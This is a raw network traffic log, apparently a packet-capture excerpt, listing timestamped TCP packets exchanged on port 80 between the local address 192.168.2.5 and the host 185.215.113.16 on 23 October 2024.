Oct 23, 2024 15:48:19.459919930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459954023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.459959030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.459983110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460015059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460024118 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460048914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460082054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460088015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460115910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460144997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460154057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460179090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460213900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460221052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460243940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460280895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460283041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460316896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460360050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460366964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460401058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460433960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460439920 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460483074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460522890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460532904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460572958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460604906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460617065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460639000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460665941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460676908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460699081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460732937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460736990 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460767031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460799932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460809946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460833073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460866928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460875988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460899115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460936069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.460935116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.460969925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461003065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461007118 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.461035967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461070061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461081982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.461102962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461136103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461143017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.461169004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461203098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461208105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.461235046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461272001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.461272001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461304903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.461344004 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496129990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496205091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496258974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496282101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496314049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496381998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496388912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496426105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496475935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496476889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496529102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496563911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496579885 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496598959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496632099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496648073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496681929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496716022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496732950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496751070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496786118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496799946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496839046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496890068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496890068 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496922970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496958971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.496968985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.496992111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497039080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497041941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497092962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497128010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497139931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497175932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497211933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497220039 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497261047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497297049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497312069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497349977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497385025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497421026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497448921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497454882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497504950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497518063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497539997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497558117 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497574091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497607946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497625113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497642040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497677088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497694969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497710943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497744083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497761011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497777939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497828007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497828007 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497860909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497910976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497910976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.497946024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497980118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.497996092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498008966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498056889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498059034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498110056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498143911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498162031 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498177052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498226881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498239994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498260021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498305082 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498312950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498346090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498374939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498395920 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498409033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498441935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498475075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498492956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498509884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498523951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498543978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498577118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498596907 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498609066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498641014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498658895 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498670101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498703003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498719931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498737097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498785973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498785973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498821020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498852968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498871088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498903036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498935938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.498954058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.498969078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499018908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499018908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499052048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499082088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499105930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499116898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499151945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499166012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499185085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499217033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499233961 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499250889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499284029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499310017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499344110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499380112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499396086 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499413967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499445915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499465942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499479055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499511957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499530077 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499564886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499599934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499620914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499631882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499682903 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499682903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499717951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499758959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499773026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499811888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499856949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499861956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499891043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499938965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.499943018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.499973059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500004053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500024080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500036955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500070095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500092030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500102997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500134945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500159025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500169039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500197887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500230074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500238895 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500267029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500287056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500303984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500336885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500353098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500370979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500406027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500435114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500438929 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500484943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500489950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500519991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500551939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500576973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500585079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500612020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500639915 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500646114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500678062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500701904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500706911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500756979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500768900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500793934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500825882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500847101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500858068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500890970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500906944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.500924110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500957012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.500992060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501012087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501024008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501049042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501058102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501091957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501101971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501126051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501157999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501172066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501189947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501224041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501240015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501256943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501288891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501302004 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501323938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501357079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501368999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501393080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501425982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501446009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501482010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501511097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501526117 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501559973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501594067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501605034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501624107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501656055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501669884 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501691103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501724005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501738071 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501756907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501789093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501816988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501826048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501858950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501873970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501909971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501957893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.501959085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.501992941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502024889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502043009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502059937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502110004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502110958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502146959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502180099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502198935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502213955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502247095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502268076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502279997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502317905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502340078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502351999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502383947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502403975 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502418041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502541065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502561092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502562046 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502577066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502592087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502608061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502609015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502624989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502640009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502640009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502656937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502671957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502679110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502687931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502701044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502710104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502721071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502731085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502732038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502747059 CEST	80	49713	185.215.113.16	192.168.2.5
